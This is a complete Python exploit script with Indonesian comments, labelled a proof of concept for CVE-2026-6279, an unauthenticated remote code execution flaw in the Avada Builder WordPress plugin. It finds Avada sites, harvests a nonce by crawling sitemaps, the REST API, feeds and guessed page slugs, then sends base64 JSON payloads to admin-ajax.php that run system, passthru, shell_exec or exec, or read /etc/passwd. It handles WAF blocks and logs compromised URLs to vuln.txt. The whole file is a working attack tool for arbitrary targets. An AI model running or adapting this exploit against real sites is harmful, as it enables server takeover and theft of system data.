#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ ╔═══════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 — Avada Builder <= 3.15.2 ║ ║ Unauthenticated Remote Code Execution via call_user_func() ║ ║ ║ ║ Proof of Concept ║ ║ ║ ║ Copyright © 2026 XENON1337 ║ ║ Special Thanks: Shadow Girlfriend 💜 ║ ║ ║ ╚═══════════════════════════════════════════════════════════════════════╝ Rantai Kerentanan (Vulnerability Chain): ───────────────────────────────────────── 1. Nonce Deterministik → wp_create_nonce('fusion_load_nonce') untuk UID 0 2. AJAX Unauthenticated → wp_ajax_nopriv_fusion_get_widget_markup 3. Deserialisasi → base64_decode + json_decode pada render_logics 4. call_user_func() → TANPA allowlist → eksekusi fungsi PHP arbitrer 5. RCE! → system("id") → uid=... di response body Referensi Source Code (dari CVE resmi): ─────────────────────────────────────── • class-fusion-builder-conditional-render-helper.php L1083, L1531 • fusion-widget.php L44, L389 • class-fusion-builder.php L7551 """ import requests import base64 import json import re import sys import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # ────────────────────────────────────────────────────────────── # KONFIGURASI # ────────────────────────────────────────────────────────────── WAKTU_TIMEOUT = 8 VERIFIKASI_SSL = False FUNGSI_RCE = [ {"nama": "system", "argumen": "id", "tipe": "stdout+return"}, {"nama": "passthru", "argumen": "id", "tipe": "stdout"}, {"nama": "shell_exec", "argumen": "id", "tipe": "return"}, {"nama": "exec", "argumen": "id", "tipe": "return_last"}, {"nama": "file_get_contents", "argumen": "/etc/passwd", "tipe": "return_file"}, ] POLA_NONCE = [ r'fusionLoadNonce\s*=\s*["\x27]([a-zA-Z0-9]+)', r'"fusion_load_nonce"\s*:\s*"([a-zA-Z0-9]+)', r"fusion_load_nonce[\"'\s:=]+[\"']([a-zA-Z0-9]+)", r"fusionPostCardsVars[^}]*nonce[\"'\s:]+[\"']([a-zA-Z0-9]+)", r"fusionTableOfContentsVars[^}]*nonce[\"'\s:]+[\"']([a-zA-Z0-9]+)", ] WIDGET_TYPES = [ "WP_Widget_Text", # Prioritas #1 — mendukung shortcode, paling reliable "WP_Widget_Custom_HTML", # Prioritas #2 — HTML widget, juga reliable "WP_Widget_Recent_Posts", # Fallback "WP_Widget_Archives", "WP_Widget_Calendar", "WP_Widget_Categories", "WP_Widget_Meta", "WP_Widget_Pages", "WP_Widget_Recent_Comments", "WP_Widget_RSS", "WP_Widget_Search", "WP_Widget_Tag_Cloud", "WP_Nav_Menu_Widget", "WP_Widget_Media_Image", ] # Slug halaman yang kemungkinan punya form / shortcode Avada → nonce terekspos # Urutan prioritas: form pages dulu, lalu content pages SLUG_HALAMAN = [ # Form pages (paling mungkin punya [fusion_form] → nonce terekspos) "contact", "contact-us", "get-in-touch", "register", "signup", "request-quote", "appointment", "booking", "demo", "free-trial", # Content pages (mungkin punya [fusion_post_cards] / [fusion_table_of_contents]) "blog", "news", "portfolio", "shop", "work", "projects", "services", "about", "about-us", "team", "pricing", "faq", "testimonials", "gallery", "events", "careers", "partners", ] SITEMAP_PATHS = [ "/sitemap.xml", "/sitemap_index.xml", "/wp-sitemap.xml", "/sitemap-index.xml", "/sitemap_index.xml", "/post-sitemap.xml", "/page-sitemap.xml", ] # ────────────────────────────────────────────────────────────── # WARNA TERMINAL # ────────────────────────────────────────────────────────────── M = "\033[95m" # Magenta H = "\033[91m" # Hijau (merah di terminal, tapi artinya sukses) B = "\033[92m" # Biru (hijau) K = "\033[93m" # Kuning C = "\033[96m" # Cyan P = "\033[1m" # Pink/Bold N = "\033[0m" # Normal # ────────────────────────────────────────────────────────────── # HELPER # ────────────────────────────────────────────────────────────── def banner(): print(f"""{P} ╔═════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 • Avada Builder <= 3.15.2 ║ ║ Unauthenticated RCE via call_user_func() ║ ║ Proof of Concept — Single Target ║ ║ ║ ║ Copyright © 2026 XENON1337 ║ ║ Thanks: Shadow Girlfriend 💜 ║ ╚═══════════════════════════════════════════════════════════════╝{N} """) def buat_payload(nama_fungsi, argumen): """Buat payload base64 JSON untuk render_logics.""" struktur = { "type": "wp_conditional_tags", "value": { "function": nama_fungsi, "args": argumen, } } json_kompak = json.dumps(struktur, separators=(',', ':')) return base64.b64encode(json_kompak.encode()).decode() def ekstrak_nonce(html): """Cari fusionLoadNonce di halaman HTML.""" if not html: return "" for pola in POLA_NONCE: cocok = re.search(pola, html) if cocok: return cocok.group(1) return "" def cari_uid(text): """Cari uid=... di response body (termasuk nested JSON).""" if not text: return "" # Cari langsung di raw text cocok = re.search(r'uid=\d+\([^)]+\)', text) if cocok: return cocok.group(0) # Cari di dalam JSON try: data = json.loads(text) if isinstance(data, dict): for v in data.values(): if isinstance(v, str): m = re.search(r'uid=\d+\([^)]+\)', v) if m: return m.group(0) elif isinstance(v, dict): for sv in v.values(): if isinstance(sv, str): m = re.search(r'uid=\d+\([^)]+\)', sv) if m: return m.group(0) except Exception: pass return "" def cek_evidence_fgc(text): """Cek bukti file_get_contents berhasil.""" if "root:x:0:0" in text or "nobody:" in text: return True return False def buat_session(): """Buat requests.Session dengan konfigurasi standar.""" s = requests.Session() s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" s.verify = VERIFIKASI_SSL return s # ────────────────────────────────────────────────────────────── # PAGE DISCOVERY — MULTIPLE METODE # ────────────────────────────────────────────────────────────── def parse_sitemap_xml(sess, url, max_depth=2, depth=0): """Parse sitemap XML, return list of page URLs.""" if depth > max_depth: return [] pages = [] try: r = sess.get(url, timeout=WAKTU_TIMEOUT) if r.status_code != 200 or "xml" not in r.headers.get("content-type", ""): return pages locs = re.findall(r'(.*?)', r.text) for loc in locs: if '.xml' in loc and ('sitemap' in loc.lower() or 'index' in loc.lower()): pages.extend(parse_sitemap_xml(sess, loc, max_depth, depth + 1)) else: pages.append(loc.rstrip("/")) except Exception: pass return pages def cari_sitemap_dari_robots(sess, base): """Cari sitemap URL dari robots.txt.""" sitemaps = [] try: r = sess.get(f"{base}/robots.txt", timeout=WAKTU_TIMEOUT) if r.ok: for line in r.text.split('\n'): line = line.strip() if line.lower().startswith("sitemap:"): sitemaps.append(line.split(":", 1)[1].strip()) except Exception: pass return sitemaps def discover_pages(sess, base): """Discover semua halaman target via multiple metode. Return list of URLs.""" semua_url = set() # METODE 1: Sitemap XML (prioritas utama) sitemap_sources = list(SITEMAP_PATHS) # Tambah sitemap dari robots.txt robots_sitemaps = cari_sitemap_dari_robots(sess, base) for s in robots_sitemaps: sitemap_sources.append(s.replace(base, "")) for path in sitemap_sources: try: urls = parse_sitemap_xml(sess, f"{base}{path}" if not path.startswith("http") else path) semua_url.update(urls) except Exception: pass # METODE 2: wp-json REST API for endpoint in [ f"{base}/wp-json/wp/v2/posts?per_page=20", f"{base}/wp-json/wp/v2/pages?per_page=20", ]: try: r = sess.get(endpoint, timeout=WAKTU_TIMEOUT) if r.ok: data = r.json() items = data if isinstance(data, list) else data.get("data", []) for item in (items[:20] if isinstance(items, list) else []): url_item = item.get("url", item.get("link", "")) if url_item: semua_url.add(url_item.rstrip("/")) except Exception: pass # METODE 3: RSS Feed try: r = sess.get(f"{base}/feed/", timeout=WAKTU_TIMEOUT) if r.ok: links = re.findall(r'(.*?)', r.text) for link in links: if link.startswith("http"): semua_url.add(link.rstrip("/")) except Exception: pass # METODE 4: Slug guessing (fallback terakhir) for slug in SLUG_HALAMAN: semua_url.add(f"{base}/{slug}") # Tambahkan homepage semua_url.add(base) return list(semua_url) # ────────────────────────────────────────────────────────────── # LANGKAH 1: DETEKSI TARGET # ────────────────────────────────────────────────────────────── def deteksi_target(sess, target, port=None): """Deteksi apakah target menggunakan Avada dan resolve URL-nya.""" # Jika target sudah punya port (contoh: localhost:8888), pisahkan if port is None and ":" in target and not target.startswith("["): bagian = target.rsplit(":", 1) if bagian[1].isdigit(): target, port = bagian[0], bagian[1] # Daftar hostname yang dicoba hostnames = [target] if not target.startswith("www."): hostnames.append(f"www.{target}") for proto in ("https", "http"): for hostname in hostnames: try: if port: url = f"{proto}://{hostname}:{port}" else: url = f"{proto}://{hostname}" r = sess.get(f"{url}/", timeout=WAKTU_TIMEOUT, allow_redirects=True) if r.status_code in (200, 301, 302, 403): t = r.text.lower() indikator = ['fusion-builder', 'fusion_load_nonce', 'fusionloadnonce', 'avada', 'fusion-scripts', 'awb-', 'fusion_dynamic_css'] if any(k in t for k in indikator): return url, True return url, False except Exception: pass return "", False # ────────────────────────────────────────────────────────────── # LANGKAH 2: EKSTRAKSI NONCE # ────────────────────────────────────────────────────────────── def cari_nonce(sess, base): """Cari fusionLoadNonce dari berbagai lokasi di target.""" # Prioritas: form pages > content pages > homepage # 0. Discover semua halaman via sitemap/REST/feed/slug semua_halaman = discover_pages(sess, base) # Prioritaskan halaman yang kemungkinan punya form/shortcode prioritas_url = [] biasa_url = [] for url in semua_halaman: lower = url.lower() if any(k in lower for k in ["contact", "register", "signup", "form", "quote", "book", "demo", "free"]): prioritas_url.append(url) else: biasa_url.append(url) # Cek halaman prioritas dulu for url in prioritas_url + biasa_url: try: r = sess.get(f"{url}/" if not url.endswith("/") else url, timeout=WAKTU_TIMEOUT) if r.ok: nonce = ekstrak_nonce(r.text) if nonce: return nonce, url.replace(base, "/") or "discovered_page" except Exception: pass return "", "" # ────────────────────────────────────────────────────────────── # LANGKAH 3: EKSPLOITASI RCE # ────────────────────────────────────────────────────────────── def kirim_rce(sess, base, nonce, payload, nama_fungsi, widget_type=None): """Kirim payload RCE ke admin-ajax.php. Return (berhasil, bukti).""" header_ajax = {"X-Requested-With": "XMLHttpRequest"} data_post = { "action": "fusion_get_widget_markup", "fusion_load_nonce": nonce, "render_logics": payload, } if widget_type: data_post["widget_type"] = widget_type data_post["type"] = widget_type data_post["widget_id"] = "2" data_post["number"] = "2" try: r = sess.post( f"{base}/wp-admin/admin-ajax.php", headers=header_ajax, data=data_post, timeout=WAKTU_TIMEOUT ) # Cari uid= di response uid = cari_uid(r.text) if uid: return True, uid # Cek file_get_contents evidence if nama_fungsi == "file_get_contents" and cek_evidence_fgc(r.text): return True, "RCE_CONFIRMED_file_get_contents (/etc/passwd terbaca)" # Analisis kenapa gagal if r.status_code == 403 and r.text.strip() == "-1": return False, "NONCE_EXPIRED" if r.status_code == 400 and r.text.strip() == "0": return False, "ACTION_MISSING" if r.status_code in (400, 403, 405, 429, 503): lower = r.text.lower() if "cloudflare" in lower or "cf-ray" in lower: return False, "WAF_BLOCKED" if "blocked" in lower or "forbidden" in lower: return False, "WAF_BLOCKED" if r.status_code == 500: return False, "PHP_ERROR" if r.status_code == 200: if '"success":true' in r.text and '"data":""' in r.text: return False, "FUNC_DISABLED" return False, f"HTTP_{r.status_code}" except requests.exceptions.Timeout: return False, "TIMEOUT" except Exception as e: return False, f"ERROR: {str(e)[:50]}" def eksploitasi(sess, base, nonce): """Coba semua kombinasi fungsi RCE dan widget type.""" for info_func in FUNGSI_RCE: nama = info_func["nama"] argumen = info_func["argumen"] payload = buat_payload(nama, argumen) # Fase 1: Coba dengan widget_type prioritas (WP_Widget_Text, Custom_HTML) for wid in WIDGET_TYPES[:2]: berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama, wid) if berhasil: return True, bukti, nama, wid if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"): return False, bukti, nama, wid # Fase 2: Coba tanpa widget_type (POST minimal) berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama) if berhasil: return True, bukti, nama, None if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"): return False, bukti, nama, None # Fase 3: Coba widget type lain sebagai fallback for wid in WIDGET_TYPES[2:5]: berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama, wid) if berhasil: return True, bukti, nama, wid if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"): return False, bukti, nama, wid # Fase 4: Coba variasi struktur JSON alternatif for info_func in FUNGSI_RCE[:2]: nama = info_func["nama"] argumen = info_func["argumen"] variasi = [ {"relation": "and", "conditions": [{"type": "wp_conditional_tags", "value": {"function": nama, "args": argumen}}]}, {"type": "wp_user_conditional_tags", "value": {"function": nama, "args": argumen}}, ] for var in variasi: payload = base64.b64encode(json.dumps(var, separators=(',', ':')).encode()).decode() berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama) if berhasil: return True, bukti, nama, "variasi_struktur" if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"): return False, bukti, nama, "variasi_struktur" return False, "SEMUA_GAGAL", None, None # ────────────────────────────────────────────────────────────── # MAIN # ────────────────────────────────────────────────────────────── def main(): banner() if len(sys.argv) < 2: print(f" {P}Penggunaan:{N} python3 {sys.argv[0]} ") print(f" {C}Contoh:{N} python3 {sys.argv[0]} target.com") print(f" python3 {sys.argv[0]} http://target.com") print(f" python3 {sys.argv[0]} https://target.com:8080") print() sys.exit(1) target_mentah = sys.argv[1].strip().rstrip("/") # Parse target: hilangkan protokol jika ada, simpan port if target_mentah.startswith("http://"): target_bersih = target_mentah[7:] proto_awal = "http" elif target_mentah.startswith("https://"): target_bersih = target_mentah[8:] proto_awal = "https" else: target_bersih = target_mentah proto_awal = None # Ekstrak port jika ada (contoh: localhost:8888) port = None target_domain = target_bersih if ":" in target_bersih and not target_bersih.startswith("["): bagian = target_bersih.rsplit(":", 1) if bagian[1].isdigit(): target_domain, port = bagian[0], bagian[1] print(f" {P}══════════════════════════════════════════════════════{N}") print(f" {C}Target{N} : {target_mentah}") print(f" {C}Waktu{N} : {time.strftime('%Y-%m-%d %H:%M:%S')}") print(f" {P}══════════════════════════════════════════════════════{N}") print() sess = buat_session() t0 = time.time() # ── LANGKAH 1: Deteksi Target ── print(f" {K}[*]{N} Mendeteksi target...") # Jika user sudah kasih full URL, langsung pakai if proto_awal: base = f"{proto_awal}://{target_bersih}" try: r = sess.get(f"{base}/", timeout=WAKTU_TIMEOUT, allow_redirects=True) if r.status_code in (200, 301, 302, 403): t = r.text.lower() indikator = ['fusion-builder', 'fusion_load_nonce', 'fusionloadnonce', 'avada', 'fusion-scripts', 'awb-', 'fusion_dynamic_css'] adalah_avada = any(k in t for k in indikator) else: base, adalah_avada = deteksi_target(sess, target_domain, port) except Exception: base, adalah_avada = deteksi_target(sess, target_domain, port) else: base, adalah_avada = deteksi_target(sess, target_domain, port) if not base: print(f" {H}[-]{N} Target tidak bisa dijangkau!") sys.exit(1) if not adalah_avada: print(f" {K}[!]{N} Target terjangkau tapi tidak terdeteksi sebagai Avada.") print(f" {K}[!]{N} Tetap melanjutkan... (mungkin nonce tersembunyi)") else: print(f" {B}[+]{N} Avada terdeteksi! {C}({base}){N}") print() # ── LANGKAH 2: Ekstraksi Nonce ── print(f" {K}[*]{N} Mencari nonce fusion_load_nonce...") nonce, sumber = cari_nonce(sess, base) if not nonce: print(f" {H}[-]{N} Nonce tidak ditemukan!") print(f" {K}[*]{N} Target mungkin tidak punya halaman dengan shortcode Avada.") sys.exit(1) print(f" {B}[+]{N} Nonce ditemukan: {P}{nonce}{N} {C}(sumber: {sumber}){N}") print() # ── LANGKAH 3: Eksploitasi RCE ── print(f" {K}[*]{N} Mengirim payload RCE...") print(f" {K}[*]{N} Mencoba {len(FUNGSI_RCE)} fungsi × {len(WIDGET_TYPES[:3])} widget = {len(FUNGSI_RCE) * len(WIDGET_TYPES[:3])} kombinasi") print() berhasil, bukti, fungsi_yang_berhasil, widget_yang_berhasil = eksploitasi(sess, base, nonce) waktu_total = time.time() - t0 # ── HASIL ── print() print(f" {P}══════════════════════════════════════════════════════{N}") if berhasil: print(f" {B}{P}[★] RCE BERHASIL!{N}") print() print(f" {B}Target :{N} {base}") print(f" {B}Output :{N} {bukti}") print(f" {B}Fungsi :{N} {fungsi_yang_berhasil}()") if widget_yang_berhasil: print(f" {B}Widget :{N} {widget_yang_berhasil}") print(f" {B}Nonce :{N} {nonce} ({sumber})") print(f" {B}Waktu :{N} {waktu_total:.1f}s") print() # Simpan ke vuln.txt with open("vuln.txt", "a") as f: f.write(f"# CVE-2026-6279 — Avada Builder <= 3.15.2 RCE\n") f.write(f"url: {base}\n") f.write(f"output: {bukti}\n") f.write(f"function: {fungsi_yang_berhasil}()\n") f.write(f"nonce: {nonce} ({sumber})\n") f.write(f"time: {waktu_total:.1f}s\n\n") print(f" {C}[✓] Hasil disimpan ke vuln.txt{N}") else: if bukti == "NONCE_EXPIRED": print(f" {H}[-]{N} Nonce expired/tidak valid!") print(f" {K}[*]{N} Nonce mungkin sudah berubah. Coba lagi nanti.") elif bukti == "WAF_BLOCKED": print(f" {H}[-]{N} Diblokir oleh WAF!") print(f" {K}[*]{N} admin-ajax.php di-block oleh firewall (Cloudflare/dll)") elif bukti == "ACTION_MISSING": print(f" {H}[-]{N} Action AJAX tidak terdaftar!") print(f" {K}[*]{N} Plugin Avada Builder mungkin tidak aktif atau versi sudah di-patch") elif bukti == "FUNC_DISABLED": print(f" {K}[!]{N} Nonce valid tapi semua fungsi RCE di-disable!") print(f" {K}[*]{N} disable_functions mungkin aktif di server") elif bukti == "PHP_ERROR": print(f" {K}[!]{N} PHP error - fungsi mungkin di-disable") elif bukti == "SEMUA_GAGAL": print(f" {K}[!]{N} Semua percobaan RCE gagal") print(f" {K}[*]{N} Kemungkinan: fungsi PHP di-disable atau konfigurasi berbeda") else: print(f" {H}[-]{N} RCE gagal: {bukti}") print(f" {B}Nonce :{N} {nonce} ({sumber})") print(f" {B}Waktu :{N} {waktu_total:.1f}s") print(f" {P}══════════════════════════════════════════════════════{N}") print() if __name__ == "__main__": main()